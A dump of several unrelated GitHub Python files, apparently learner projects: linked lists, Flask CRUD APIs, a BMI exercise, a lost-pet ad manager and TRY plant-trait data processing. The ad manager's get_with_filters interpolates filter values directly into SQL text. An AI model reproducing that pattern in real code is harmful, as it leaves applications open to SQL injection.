a point is contained within a button. For example,\n ``button.contains(touch)`` where ``touch`` is the touch point on the screen will allow for\n determining that a button has been touched.\n \"\"\"\n x_min = self.x + self._padding[0]\n x_max = self.x + self.width - self._padding[0]\n y_min = self.y + self._padding[1]\n y_max = self.y + self.height - self._padding[1]\n\n return (x_min <= point[0] <= x_max) and (y_min <= point[1] <= y_max)\n\n # def contains(self, point):\n # \"\"\"Used to determine if a point is contained within a button. For example,\n # ``button.contains(touch)`` where ``touch`` is the touch point on the screen will allow for\n # determining that a button has been touched.\n # \"\"\"\n # return (self.x <= point[0] <= self.x + self.width) and (self.y <= point[1] <=\n # self.y + self.height)\n\n # PaddedButton additions\n @property\n def id(self):\n \"\"\"Button ID. Should be an integer.\"\"\"\n return self._id\n\n @property\n def padding(self):\n \"\"\"Sets the button outline padding\"\"\"\n return self._padding\n\n @padding.setter\n def padding(self, value):\n self._padding = value\n\n @property\n def margin(self):\n \"\"\"Sets the button outline padding\"\"\"\n return self._margin\n\n @margin.setter\n def margin(self, value):\n self._margin = value\n\n @property\n def fillcolor(self):\n \"\"\"Sets the fill color\"\"\"\n return self.fill_color\n\n @fillcolor.setter\n def fillcolor(self, fill):\n self.body.fill = fill\n\n @property\n def outlinecolor(self):\n \"\"\"Sets the fill color\"\"\"\n return self.outline\n\n @outlinecolor.setter\n def outlinecolor(self, fill):\n self.body.outline = fill\n\n @property\n def labelcolor(self):\n \"\"\"Sets the fill color\"\"\"\n return self._label_color\n\n @labelcolor.setter\n def labelcolor(self, value):\n self._label_color = value","repo_name":"jpecor/PyPortal_Paged_UI","sub_path":"lib/padded_button.py","file_name":"padded_button.py","file_ext":"py","file_size_in_byte":9962,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"20"} +{"seq_id":"73641484850","text":"class Node:\r\n def __init__(self, initdata):\r\n self.data = initdata\r\n self.next = None\r\n\r\n def getData(self):\r\n return self.data\r\n\r\n def getNext(self):\r\n return self.next\r\n\r\n def setData(self, newdata):\r\n self.data = newdata\r\n\r\n def setNext(self, newnext):\r\n self.next = newnext\r\n\r\nclass Orderedlist:\r\n\r\n def __init__(self):\r\n self.head = None\r\n\r\n def isEmpty(self):\r\n return self.head == None\r\n\r\n def size(self):\r\n current = self.head#initialize current to list head\r\n count = 0 #initialize node count as 0\r\n while current != None:\r\n count = count + 1\r\n current = current.getNext()#current move to next node\r\n return count\r\n\r\n def search(self, item):\r\n current = self.head\r\n found = False\r\n stop = False\r\n while current != None and not found and not stop:\r\n if current.getData() == item:\r\n found = True\r\n else:\r\n if current.getData() > item:#if data save in current node > search element, set stop as True\r\n stop = True\r\n else:\r\n current = current.getNext()\r\n return found\r\n\r\n def add(self, item):\r\n current = self.head\r\n previous = None\r\n stop = False\r\n while current != None and not stop:\r\n if current.getData() > item:\r\n stop = True\r\n else:\r\n previous = current\r\n current = current.getNext()\r\n temp = Node(item)\r\n if previous == None:\r\n temp.setNext(self.head)\r\n self.head = temp\r\n else:\r\n temp.setNext(current)\r\n previous.setNext(temp)\r\n\r\n def remove(self, item):\r\n current = self.head #initialize current to list head\r\n previous = None #previous:previous always next to current a node in traversal all list\r\n found = False\r\n while not found:\r\n if current.getData() == item:#if element in node unit is pre-remove element, found turn to True\r\n found = True\r\n else:#(inch-worming)\r\n previous = current # previous move to current node,current move to next node\r\n current = current.getNext()\r\n if previous == None:\r\n self.head = current.getNext() #list head move to current next node\r\n else:\r\n previous.setNext(current.getNext())#previous node set to current next node\r\n\r\nmylist = Orderedlist()\r\nmylist.add(31)\r\nmylist.add(77)\r\nmylist.add(17)\r\nmylist.add(93)\r\nmylist.add(26)\r\nmylist.add(54)\r\nprint(mylist.search(17))\r\nprint(mylist.remove(17))\r\nprint(mylist.remove(31))\r\nprint(mylist.search(31))\r\n","repo_name":"aigonna/Python_algorithm","sub_path":"orderedlist.py","file_name":"orderedlist.py","file_ext":"py","file_size_in_byte":2767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"2801810154","text":"import copy\n\nN = int(input())\n\nG = [[0]*(N + 1) for i in range(N + 1)]\n\nfor i in range(1, N + 1):\n G[i][1:] = list(map(int, input().split()))\n\ns1 = [0] * (N // 2)\ns2 = [i for i in range(1, N+1)]\ns4 = []\ns = []\n\nmin_num = 12412445346534\n\n\ndef combi_set(n, k):\n global min_num\n if k == 0:\n sum_1 = 0\n sum_2 = 0\n for i in range(N//2):\n for j in range(i + 1, N//2):\n sum_1 += G[s1[i]][s1[j]] + G[s1[j]][s1[i]]\n\n for i in range(1, N + 1):\n if i not in s1:\n for j in range(i + 1, N + 1):\n if j not in s1:\n sum_2 += G[i][j] + G[j][i]\n\n if abs(sum_1 - sum_2) == 0:\n min_num = 0\n\n if min_num > abs(sum_1 - sum_2):\n min_num = abs(sum_1 - sum_2)\n\n elif n < k:\n return\n else:\n s1[k - 1] = s2[n - 1]\n combi_set(n - 1, k - 1)\n combi_set(n - 1, k)\n\n\ncombi_set(N, N//2)\n\n\n# for i in range(0, len(s)):\n# sum_1 = 0\n# sum_2 = 0\n# for j in range(N//2):\n# for k in range(j+1, N//2):\n# sum_1 += G[s[0 + i][j]][s[0 + i][k]] + G[s[0 + i][k]][s[0 + i][j]]\n# sum_2 += G[s[1 + i][j]][s[1 + i][k]] + G[s[1 + i][k]][s[1 + i][j]]\n#\n# if abs(sum_1 - sum_2) == 0:\n# min_num = 0\n# break\n#\n# if min_num > abs(sum_1 - sum_2):\n# min_num = abs(sum_1 - sum_2)\n\nprint(min_num)\n\n\n\n\n\n\n\n\n\n","repo_name":"yhnb3/Algorithm_lecture","sub_path":"기본/알고리즘 D13/스타트와링크.py","file_name":"스타트와링크.py","file_ext":"py","file_size_in_byte":1424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"21896971516","text":"import random\nimport sys\n\nSTROPHE_SIZE = 6 # количество строк стихотворения в одной строфе\n\nparticles = [\"a\",\"the\",\"her\",\"his\",\"another\",\"the other\",\"my\",\"our\",\"mine\",\"their\"]\nnouns = [\"cat\",\"dog\",\"man\",\"woman\",\"boy\",\"girl\",\"granny\",\"wife\",\"boss\",\"horse\",\"mate\",\"daddy\",\"friend\",\"squirrel\"]\nverbs = [\"sang\",\"ran\",\"jumped\",\"heard\",\"answered\",\"went\",\"told\",\"hoped\",\"felt\",\"slept\",\"hopped\",\"cried\",\"laughed\",\"walked\",\"dug\",\"came\"]\nadverbs = [\"loudly\",\"quietly\",\"well\",\"badly\",\"slowly\",\"politely\",\"rudely\",\"indeed\",\"instead\",\"rarely\",\"recently\"]\n\n# общее количество строк \"ужасного стиха\" по умолчанию = 6\nmax_lines = STROPHE_SIZE\n\nif len(sys.argv) > 1: # есть доп. параметры командной строки\n try:\n temp = int(sys.argv[1])\n if 1 <= temp <= 100:\n max_lines = temp\n else:\n print(\"lines must be 1-100 inclusive\")\n except ValueError:\n print(\"usage: awful_poetry_argv.py [lines]\")\n\nrandom.seed()\nfor line in range(max_lines):\n particle = random.choice(particles);\n noun = random.choice(nouns);\n verb = random.choice(verbs);\n if random.randint(0,1) == 0:\n print(particle, noun, verb)\n else:\n adverb = random.choice(adverbs)\n print(particle, noun, verb, adverb)\n # разделять строфы пустой строкой\n if (line + 1) % STROPHE_SIZE == 0:\n print()\n\ninput(\"\\nPress enter to exit\")\n","repo_name":"CatDevelop/IT-School","sub_path":"ThirdCourse/LessonsRepository/Lesson 7/Scripts/Answers/awful_poetry_argv.py","file_name":"awful_poetry_argv.py","file_ext":"py","file_size_in_byte":1516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"1484616762","text":"\nfrom flask import Flask, render_template, url_for, flash, redirect\nfrom flask_assignment.forms import PostForm\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_assignment.models import Post\nfrom flask_assignment import db ,app\nfrom flask import render_template, url_for, flash, redirect, request, abort\n\n@app.route(\"/home\")\n@app.route(\"/\")\ndef home():\n post = Post.query.all()\n return render_template('home.html',posts=post)\n@app.route(\"/login\", methods=['GET', 'POST'])\ndef login():\n return render_template('home.html', title='About')\n@app.route(\"/register\", methods=['GET', 'POST'])\ndef register():\n return render_template('home.html', title='About')\n@app.route(\"/logout\")\ndef logout():\n return render_template('home.html', title='About')\n@app.route(\"/about\")\ndef about():\n return render_template('home.html', title='About')\n\n@app.route(\"/post/\")\ndef post(post_id):\n post = Post.query.get_or_404(post_id)\n return render_template('post.html', title=post.title, post=post)\n\n@app.route(\"/postm\",methods =['GET','POST'])\ndef new_post():\n form = PostForm()\n if form.validate_on_submit():\n post = Post(title=form.title.data,content = form.content.data)\n db.session.add(post)\n db.session.commit()\n flash(f'Post have been created','success')\n return redirect(url_for('home'))\n return render_template('create_post.html',title = 'New post',form =form)\n\n@app.route(\"/post//update\", methods=['GET', 'POST'])\ndef update_post(post_id):\n post = Post.query.get_or_404(post_id)\n form = PostForm()\n if form.validate_on_submit():\n post.title = form.title.data\n post.content = form.content.data\n db.session.commit()\n flash('Your post has been updated!', 'success')\n return redirect(url_for('post', post_id=post.id))\n elif request.method == 'GET':\n form.title.data = post.title\n form.content.data = post.content\n return render_template('create_post.html', title='Update Post',\n form=form, legend='Update Post')\n\n@app.route(\"/post//delete\", methods=['POST'])\ndef delete_post(post_id):\n post = Post.query.get_or_404(post_id)\n db.session.delete(post)\n db.session.commit()\n flash('Your post has been deleted!', 'success')\n return redirect(url_for('home'))\nif __name__ == '__main__':\n app.run(debug=True)","repo_name":"Chandan746/Flask_CURD","sub_path":"routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":2397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"41972331313","text":"#Desenvolva uma lógica que leia o peso e a altura de uma pessoa, calcule seu Índice de Massa Corporal (IMC)\n# e mostre seu status, de acordo com a tabela abaixo:\n\n#IMC abaixo de 18,5: Abaixo do Peso\n #Entre 18,5 e 25: Peso Ideal\n #25 até 30: Sobrepeso\n #30 até 40: Obesidade\n#Acima de 40: Obesidade Mórbida\n\ndef imc(p,a):\n Imc = p / (a**2)\n print(f'Seu Indice de Massa Corporal: {Imc:.2f}')\n if Imc > 40:\n print(f'Essa pessoa está com Obesidade Mórbida, Por favor Procre um Médico urgente!!!')\n elif Imc >= 30 and Imc <= 40:\n print(f'Essa pessoa está com Obesidade , Procure um Médico!!!')\n elif Imc >= 25 and Imc <= 30:\n print(f'Essa pessoa está com Sobre peso, Recomendos uma dieta antes que o quadro se agrave!!!')\n elif Imc >= 18.5 and Imc <= 25:\n print(f'Essa pessoa está com Peso Ideal: Parabéns!!')\n elif Imc < 18.5:\n print(f'Essa pessoa está abaixo do peso , Por favor Procure um Médico !!!')\n\npeso = float(input('Peso: '))\naltura = float(input('Altura: '))\nimc(peso,altura)\n\n","repo_name":"MuriloGDSilva/Exercioos-Praticos-Python","sub_path":"Curso_Em_Video/Ex043.py","file_name":"Ex043.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"1319028435","text":"import os\nfrom flask import Flask, request, abort, jsonify\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_cors import CORS\nfrom models import db, setup_db, Actor, Movie, ActorMovie\nfrom auth import AuthError, requires_auth\n\n# External IP address for running flask server\nEXTERNAL_IP = os.getenv('EXTERNAL_IP', '127.0.0.1')\n\n\ndef create_app(test_config=None):\n # create and configure the app\n app1 = Flask(__name__)\n print(\"calling setup db\")\n setup_db(app1)\n print(\"after setup db\")\n CORS(app1)\n print(\"after CORS\")\n return app1\n\n\nprint(\"Calling create_app\")\napp = create_app()\n\n\n# Get Actors with get:actors permission\n@app.route('/actors', methods=['GET'])\n@requires_auth('get:actors')\ndef get_actors(jwt):\n print(\"In get Actors\")\n\n # get all actors by Actor id\n actors = Actor.query.order_by(Actor.id).all()\n allActors = []\n for actor in actors:\n allActors.append(actor.format())\n\n print(\"Got actors \", allActors)\n\n return jsonify({\n 'success': True,\n 'actors': allActors\n })\n\n\n# Get movies with permission get:movies\n@app.route('/movies', methods=['GET'])\n@requires_auth('get:movies')\ndef get_movies(jwt):\n print(\"In get Movies\")\n movies = Movie.query.order_by(Movie.id).all()\n allMovies = []\n for movie in movies:\n allMovies.append(movie.format())\n\n print(\"Got drinks \", allMovies)\n\n return jsonify({\n 'success': True,\n 'movies': allMovies\n })\n\n\n# delete actor with given actor_id\n# with permission delete:actors\n@app.route('/actors/', methods=['DELETE'])\n@requires_auth('delete:actors')\ndef delete_actor(jwt, actor_id):\n try:\n print(\"in delete actors\", actor_id)\n actor = Actor.query.filter(Actor.id == actor_id).one_or_none()\n print(\"actor \", actor)\n print(\"actor delete type \", type(actor))\n if actor is None:\n abort(404)\n\n actor.delete()\n return jsonify({\n 'success': True,\n 'delete': actor_id\n })\n except Exception as ex:\n print(ex)\n abort(422)\n\n\n# delete movies with delete:movies permission\n@app.route('/movies/', methods=['DELETE'])\n@requires_auth('delete:movies')\ndef delete_movie(jwt, movie_id):\n try:\n print(\"in delete actors\", movie_id)\n # Find movie from the given movie_id\n movie = Movie.query.filter(Movie.id == movie_id).one_or_none()\n print(\"drink \", movie)\n print(\"drink delete type \", type(movie))\n if movie is None:\n abort(404)\n\n movie.delete()\n return jsonify({\n 'success': True,\n 'delete': movie_id\n })\n except Exception as ex:\n print(ex)\n abort(422)\n\n\n# Patch actor with given actor_id\n# with permission patch:actors\n@app.route('/actors/', methods=['PATCH'])\n@requires_auth('patch:actors')\ndef patch_actor(jwt, actor_id):\n try:\n body = request.get_json()\n\n name = body.get('name', None)\n age = body.get('age', None)\n gender = body.get('gender', None)\n print(\"name type\", type(name))\n print(\"age type\", type(age))\n print(\"gender type\", type(gender))\n\n if name is None or age is None or gender is None:\n abort(422)\n\n # find the actor from given actor_id\n actor = Actor.query.filter(Actor.id == actor_id).one_or_none()\n\n if actor is None:\n abort(404)\n\n actor.name = name\n actor.age = age\n actor.gender = gender\n actor.update()\n\n print(\"In patch after update\")\n actors = []\n actors.append(actor.format())\n return jsonify({\n 'success': True,\n 'actors': actors\n })\n\n except:\n abort(422)\n\n\n# patch movies with given movie_id\n# with permission patch:movies in the token\n@app.route('/movies/', methods=['PATCH'])\n@requires_auth('patch:movies')\ndef patch_movies(jwt, movie_id):\n try:\n body = request.get_json()\n\n title = body.get('title', None)\n releaseDate = body.get('releaseDate', None)\n print(\"releaseDate type\", type(title))\n print(\"releaseDate type\", type(releaseDate))\n if title is None or releaseDate is None:\n abort(422)\n\n # Find movie with given movie id and patch it\n movie = Movie.query.filter(Movie.id == movie_id).one_or_none()\n\n if movie is None:\n abort(404)\n\n movie.title = title\n movie.releaseDate = releaseDate\n\n print(\"movie.releaseDate type\", type(movie.releaseDate))\n print(\"releaseDate type\", type(releaseDate))\n\n movie.update()\n\n print(\"In patch after update\")\n movies = []\n movies.append(movie.format())\n return jsonify({\n 'success': True,\n 'movies': movies\n })\n\n except:\n abort(422)\n\n\n# Post/create movie with given title and release date\n# with permission 'post:movies'\n@app.route('/movies', methods=['POST'])\n@requires_auth('post:movies')\ndef post_movie(jwt):\n body = request.get_json()\n print(\"body type\", type(body))\n\n title = body.get('title', None)\n releaseDate = body.get('releaseDate', None)\n print(\"title type\", type(title))\n print(\"releaseDate type\", type(releaseDate))\n\n if title is None or releaseDate is None:\n abort(401)\n\n movie = Movie(title=title, releaseDate=releaseDate)\n movie.insert()\n movies = []\n movies.append(movie.format())\n\n return jsonify({\n 'success': True,\n 'movies': movies\n })\n\n\n# Post/Create actor with given name,age and gender\n# with permission 'post:actors'\n@app.route('/actors', methods=['POST'])\n@requires_auth('post:actors')\ndef post_actor(jwt):\n body = request.get_json()\n print(\"body type\", type(body))\n\n name = body.get('name', None)\n age = body.get('age', None)\n gender = body.get('gender', None)\n print(\"In post name type\", type(name))\n print(\"In post age type\", type(age))\n print(\"In post gender type\", type(gender))\n\n if name is None or age is None or gender is None:\n abort(401)\n\n actor = Actor(name=name, age=age, gender=gender)\n actor.insert()\n actors = []\n actors.append(actor.format())\n\n return jsonify({\n 'success': True,\n 'actors': actors\n })\n\n\n# Assign actor to movie and movie to actor\n# with permission 'post:actorsmovies'\n@app.route('/actorsmovies', methods=['POST'])\n@requires_auth('post:actorsmovies')\ndef create_actormovie(jwt):\n # called to create new shows in the db,\n # upon submitting new show listing form\n body = request.get_json()\n print(\"body type\", type(body))\n\n actor_id = body.get('actor_id', None)\n movie_id = body.get('movie_id', None)\n\n actorMovie = ActorMovie(actorId=actor_id, movieId=movie_id)\n\n actorMovie.insert()\n actorsmovies = []\n actorsmovies.append(actorMovie.format())\n\n return jsonify({\n 'success': True,\n 'actorsmovies': actorsmovies\n })\n\n\n# get all actorsmovies associations\n# with permission 'get:actorsmovies's\n@app.route('/actorsmovies', methods=['GET'])\n@requires_auth('get:actorsmovies')\ndef get_actorsmovies(jwt):\n print(\"In get Movies\")\n actorsmovies = ActorMovie.query.order_by(ActorMovie.id).all()\n all = []\n for item in actorsmovies:\n all.append(item.format())\n\n print(\"Got actorsmovies \", all)\n\n return jsonify({\n 'success': True,\n 'actorsmovies': all\n })\n\n\n# Error Handling\n'''\nExample error handling for unprocessable entity\n'''\n\n\n@app.errorhandler(401)\ndef unauthorized(error):\n print(\"In unauthorized\", error)\n return jsonify({\n \"success\": False,\n \"error\": 401,\n \"message\": \"unauthorized\"\n }), 401\n\n\n@app.errorhandler(403)\ndef forbidden(error):\n print(\"In forbidden\", error)\n return jsonify({\n \"success\": False,\n \"error\": 403,\n \"message\": \"forbidden\"\n }), 403\n\n\n@app.errorhandler(404)\ndef not_found(error):\n return jsonify({\n \"success\": False,\n \"error\": 404,\n \"message\": \"resource not found\"\n }), 404\n\n\n@app.errorhandler(422)\ndef unprocessable(error):\n print(\"In unprocessable\", error)\n return jsonify({\n \"success\": False,\n \"error\": 422,\n \"message\": \"unprocessable\"\n }), 422\n\n\n@app.errorhandler(404)\ndef bad_request(error):\n print(\"erorr in bad_Reqest\", error)\n return jsonify({\n \"success\": False,\n \"error\": 404,\n \"message\": \"bad request\"\n }), 404\n\n\n@app.errorhandler(400)\ndef bad_request(error):\n print(\"erorr in bad_Reqest\", error)\n return jsonify({\n \"success\": False,\n \"error\": 400,\n \"message\": \"bad request\"\n }), 400\n\n\n@app.errorhandler(405)\ndef not_allowed(error):\n return jsonify({\n \"success\": False,\n \"error\": 405,\n \"message\": \"method not allowed\"\n }), 405\n\n\n@app.errorhandler(500)\ndef internal_server_error(error):\n return jsonify({\n \"success\": False,\n \"error\": 500,\n \"message\": \"internal server error\"\n }), 500\n\n\n@app.errorhandler(501)\ndef not_implemented(error):\n return jsonify({\n \"success\": False,\n \"error\": 501,\n \"message\": \"not implemented\"\n }), 501\n\n\n@app.errorhandler(502)\ndef bad_gateway(error):\n return jsonify({\n \"success\": False,\n \"error\": 502,\n \"message\": \"bad gateway\"\n }), 502\n\n\n@app.errorhandler(503)\ndef service_unavailable(error):\n return jsonify({\n \"success\": False,\n \"error\": 503,\n \"message\": \"service unavailable\"\n }), 503\n\n\n@app.errorhandler(504)\ndef gateway_timeout(error):\n return jsonify({\n \"success\": False,\n \"error\": 504,\n \"message\": \"gateway timeout\"\n }), 504\n\n\n@app.errorhandler(505)\ndef http_version_unsupported(error):\n return jsonify({\n \"success\": False,\n \"error\": 505,\n \"message\": \"http version unsupported\"\n }), 505\n\n\n@app.errorhandler(AuthError)\ndef auth_error(ex):\n print(\"In auth error\")\n response = jsonify(ex.error)\n response.status_code = ex.status_code\n return response\n\n\nif __name__ == '__main__':\n app.run(host=EXTERNAL_IP, port=5000, debug=True)\n","repo_name":"naimishparikh/capstoneFinal","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":10225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"12794318348","text":"\"\"\"This class can manage Ad objects\"\"\"\n\nimport asyncio\n\nfrom datetime import date\nfrom typing import List\n\nfrom config.log_config import Logger as Log\nfrom database.connection import Connection\nfrom database.ads.ad import Ad\n\n\nclass AdManager:\n def __init__(self):\n self._connection = Connection()\n\n @staticmethod\n async def _create_ad_instance(type: str, owner_id: int, city: str, district: str, location: str, creation_date: date, photo_path: str,\n name: str, species: str, description: str,\n chip: bool, ad_id: int, found=False, found_reason='') -> Ad:\n ad = Ad(type=type, owner_id=owner_id, city=city, district=district, location=location,\n creation_date=creation_date, photo_path=photo_path, name=name, species=species, description=description,\n chip=chip, ad_id=ad_id)\n return ad\n\n async def create_ad(self, type: str, owner_id: int, city: str, district: str, location: str, photo_path: str,\n name: str, species: str, description: str, chip: bool) -> Ad or False:\n try:\n ad = await self._create_ad_instance(type=type, owner_id=owner_id, city=city, district=district,\n location=location, photo_path=photo_path, name=name, species=species,\n description=description, chip=chip, creation_date=date.today(), ad_id=0)\n await ad.save_ad()\n Log.logger.info('[DB] [AdManager] Record of ad %r has been created')\n return ad\n except Exception as e:\n Log.logger.error('[DB] [AdManager] Try to create record of ad %r failed. Reason: %r', e)\n return False\n\n async def get_user_ads(self, user_id: int) -> List[Ad]:\n command = (\n \"SELECT * FROM ads WHERE owner=$1\"\n )\n ads: List[Ad] = []\n async with self._connection as conn:\n res = await conn.fetch(command, user_id)\n for r in res:\n ad = await self._create_ad_instance(type=r[1], owner_id=user_id, location=r[3], creation_date=r[4],\n photo_path=r[5], name=r[6], species=r[7], description=r[8], chip=r[9],\n found=r[10], found_reason=r[11], city=r[12], district=r[13], ad_id=r[0])\n ads.append(ad)\n Log.logger.info('[DB] [AdManager] Ads of user %r have been gotten', user_id)\n return ads\n\n async def get_with_filters(self, filters: list[dict]) -> List[Ad]:\n \"\"\"Thing that can make sql request with custom filters\n IDK how to do it\"\"\"\n pattern = ''\n for f in filters[:-1]:\n pattern += f\"{f['name']}='{f['value']}' AND \"\n pattern += f\"{filters[-1]['name']}='{filters[-1]['value']}'\"\n command = (\n \"SELECT * FROM ads WHERE {}\"\n )\n sql = command.format(pattern)\n print(pattern)\n print(sql)\n async with self._connection as conn:\n res = await conn.fetch(sql)\n ads: List[Ad] = []\n for r in res:\n ad = await self._create_ad_instance(type=r[1], owner_id=r[2], location=r[3], creation_date=r[4],\n photo_path=r[5], name=r[6], species=r[7], description=r[8], chip=r[9],\n found=r[10], found_reason=r[11], city=r[12], district=r[13], ad_id=r[0])\n ads.append(ad)\n Log.logger.info('[DB] [AdManager] by filters received')\n return ads\n\n\n\n\n\n\n\n#m = AdManager()\n#dog = asyncio.run(m.create_ad(type='lost', species='Dog', name='Jack ', city='NY', district='Brooklin', description='I lost him(', chip=True,\n# location='23.23563.23563,4526.265', owner_id=312472285,\n# photo_path='/home/spacecat/CODE/Pet/lost_animals_bot/src/photos/sajad-nori-s1puI2BWQzQ-unsplash.jpg'))\n#print(dog.name, dog.ad_id)\n#lst = asyncio.run(m.get_user_ads(252526))\n#print(lst[-1].name)\n#asyncio.run(m.get_with_filters([{'name': 'species', 'value': 'Cat'}, {'name': 'city', 'value': 'Moscow'}]))","repo_name":"spacecat1717/lost_animals_bot","sub_path":"database/ads/ad_manager.py","file_name":"ad_manager.py","file_ext":"py","file_size_in_byte":4203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"31239037629","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Additional Materials\n\n# ## Plant traits - TRY database\n\n# The TRY database contains trait measurements from individual plants and, typically, multiple individual measurements per trait and species. We want to extract a mean for each trait value per species.\n\n# We have prepared data for this course, however, for future reference, to download data from the TRY database, create an account at https://www.try-db.org/de.\n# \n# We choose the option of open access data only, but the curators of this database still require you to add a short project description to your download request. You will then be sent a download link via e-mail.\n# \n# For this study we will use continuous (con) traits used in the sPlot analysis from Buehlheide et al. 2018:\n# \n# \n# | Trait | ID | Unit |\n# | :------------- | :----------: | -----------: |\n# | Leaf area (in case of compound leaves: leaflet, undefined if petiole is in- or excluded) | 3113 | mm^2 |\n# | Leaf area per leaf dry mass (specific leaf area, SLA or 1/LMA): undefined if petiole is in- or excluded) | 3117 |m^2/kg|\n# | Stem specific density (SSD) or wood density (stem dry mass per stem fresh volume) | 4 | g/cm^3 |\n# | Leaf carbon (C) content per leaf dry mass | 13 | mg/g |\n# | Leaf nitrogen (N) content per leaf dry mass| 14 | mg/g |\n# | Leaf phosphorus (P) content per leaf dry mass| 15| mg/g |\n# | Plant height vegetative | 3106 | m |\n# | Seed dry mass | 26 | mg |\n# | Seed length | 27 | mm |\n# | Leaf dry mass per leaf fresh mass (leaf dry matter content, LDMC) | 47 | g/g |\n# | Leaf nitrogen (N) content per leaf area | 50 | g/m^2 |\n# | Leaf nitrogen/phosphorus (N/P) ratio | 56 | g/g |\n# | Leaf nitrogen (N) isotope signature (delta 15N) | 78 | ppm |\n# | Seed number per reproducton unit | 138 | |\n# | Leaf fresh mass | 163 | g\n# | Stem conduit density (vessels and tracheids) | 169 | mm-2 |\n# | Dispersal unit length | 237 | mm |\n# | Wood vessel element length; stem conduit (vessel and tracheids) element length | 282 | μm |\n# \n# \n# \n# \n# When asked which traits you would like to download, type in the following list. This filters TRY data for our traits of interest, listed in the table above.\n# \n# ```3113, 3117, 4, 13, 14, 15, 3106, 26, 27, 47, 50, 56, 78, 138, 163, 169, 237, 282```\n\n# ### Load Data\n\n# First, load the TRY data as a data frame, selecting only the following columns:\n# - **AccSpeciesName** - Consolidated species name\n# - **SpeciesName** - Species name\n# - **TraitID** - Unique identifier for traits (only if the record is a trait)\n# - **TraitName** - Name of trait (only if the record is a trait)\n# - **StdValue** - Standardized value: available for standardized traits\n\n# In[12]:\n\n\nTRYdata = pd.read_csv(\"Data/iNaturalist/Data/TRY/19287.txt\", sep = \"\\t\", encoding=\"iso-8859-1\", \n usecols = [\"AccSpeciesName\", \"SpeciesName\", \"TraitID\", \"TraitName\", \"StdValue\"],\n dtype={'TraitID': float})\n\n\n# In[13]:\n\n\nTRYdata.head()\n\n\n# In[14]:\n\n\n# drops rows with missing values\nTRYdata = TRYdata.dropna(subset=[\"TraitID\"])\n\n\n# In[15]:\n\n\n# check number of unique trait names\nTRYdata[\"TraitID\"].nunique()\n\n\n# In[16]:\n\n\n# number of unique species\nTRYdata[\"AccSpeciesName\"].nunique()\n\n\n# We remove author annotation and subspecies information from species names.\n\n# In[17]:\n\n\n# make all letters lower case\nTRYdata['AccSpeciesName'] = TRYdata['AccSpeciesName'].str.lower()\n# capitalize first letter in string\nTRYdata['AccSpeciesName'] = TRYdata['AccSpeciesName'].str.capitalize()\n# get only two first words (split at space)\nTRYdata['AccSpeciesName'] = TRYdata['AccSpeciesName'].apply(lambda x: ' '.join(x.split()[0:2]))\n# change type to string\nTRYdata['AccSpeciesName'] = TRYdata['AccSpeciesName'].astype(str)\n\n# same for species name\nTRYdata['SpeciesName'] = TRYdata['SpeciesName'].str.lower()\nTRYdata['SpeciesName'] = TRYdata['SpeciesName'].str.capitalize()\nTRYdata['SpeciesName'] = TRYdata['SpeciesName'].astype(str)\nTRYdata['SpeciesName'] = TRYdata['SpeciesName'].apply(lambda x: ' '.join(x.split()[0:2]))\n\n\n# In[18]:\n\n\nTRYdata['AccSpeciesName'].nunique()\n\n\n# In[19]:\n\n\nTRYdata['SpeciesName'].nunique()\n\n\n# ### Check for duplicate names\n\n# In[ ]:\n\n\nTRY_sp = TRYdata[\"AccSpeciesName\"].apply(str)\nTRY_sp = TRY_sp.unique()\nlen(TRY_sp)\n\n\n# In[ ]:\n\n\nfrom rapidfuzz import process, fuzz\n\ndef fuzzy_match(choices, queries, cutoff):\n \n score_sort = [(x,) + i\n for x in queries\n for i in process.extract(x, choices, score_cutoff=cutoff, scorer=fuzz.token_sort_ratio) ]\n \n similarity_sort = pd.DataFrame(score_sort)\n similarity_sort = similarity_sort[similarity_sort[2] != 100.0]\n return similarity_sort\n\n\n# In[ ]:\n\n\nTRY_matches = fuzzy_match(TRY_sp, TRY_sp, 95)\n\n\n# In[ ]:\n\n\nTRY_matches.head()\n\n\n# In[ ]:\n\n\nTRY_matches[0].nunique()\n\n\n# In[ ]:\n\n\n(len(TRY_matches)/2)/len(TRY_sp)\n\n\n# Only 0.5% of unique species in TRY have potential duplicates (similar names). Since we are looking at vast scales and, we can diregard this slight uncertainty and accept that these species might not be matched to the iNaturalist observations.\n# \n# We devide the number for matches by 2, since every pair is listed twice (positions switched).\n\n# ### Create summary stats with consolidated species name\n\n# Use ```groupby``` function to group data by consolidated species name and trait; grouping variables: ```AccSpeciesName, TraitName, TraitID```.\n# \n# More information: https://www.tutorialspoint.com/python_pandas/python_pandas_groupby.htm\n\n# In[20]:\n\n\n# group data by species name and trait\n\ngrouped = TRYdata.groupby(['AccSpeciesName', 'TraitID', 'TraitName'])\nTRY = grouped['StdValue'].agg([np.mean]).reset_index()\n\n#check output\nTRY.head()\n\n\n# In[21]:\n\n\ndef shorten_names(df):\n\n df.rename(columns = {'Stem specific density (SSD) or wood density (stem dry mass per stem fresh volume)':'SSD'}, inplace = True)\n df.rename(columns = {'Leaf carbon (C) content per leaf dry mass':'Leaf C'}, inplace = True)\n df.rename(columns = {'Leaf nitrogen (N) content per leaf dry mass':'Leaf N per mass'}, inplace = True)\n df.rename(columns = {'Leaf phosphorus (P) content per leaf dry mass':'Leaf P'}, inplace = True)\n df.rename(columns = {'Leaf dry mass per leaf fresh mass (leaf dry matter content, LDMC)':'LDMC'}, inplace = True)\n df.rename(columns = {'Seed dry mass':'Seed mass'}, inplace = True)\n df.rename(columns = {'Seed length':'Seed 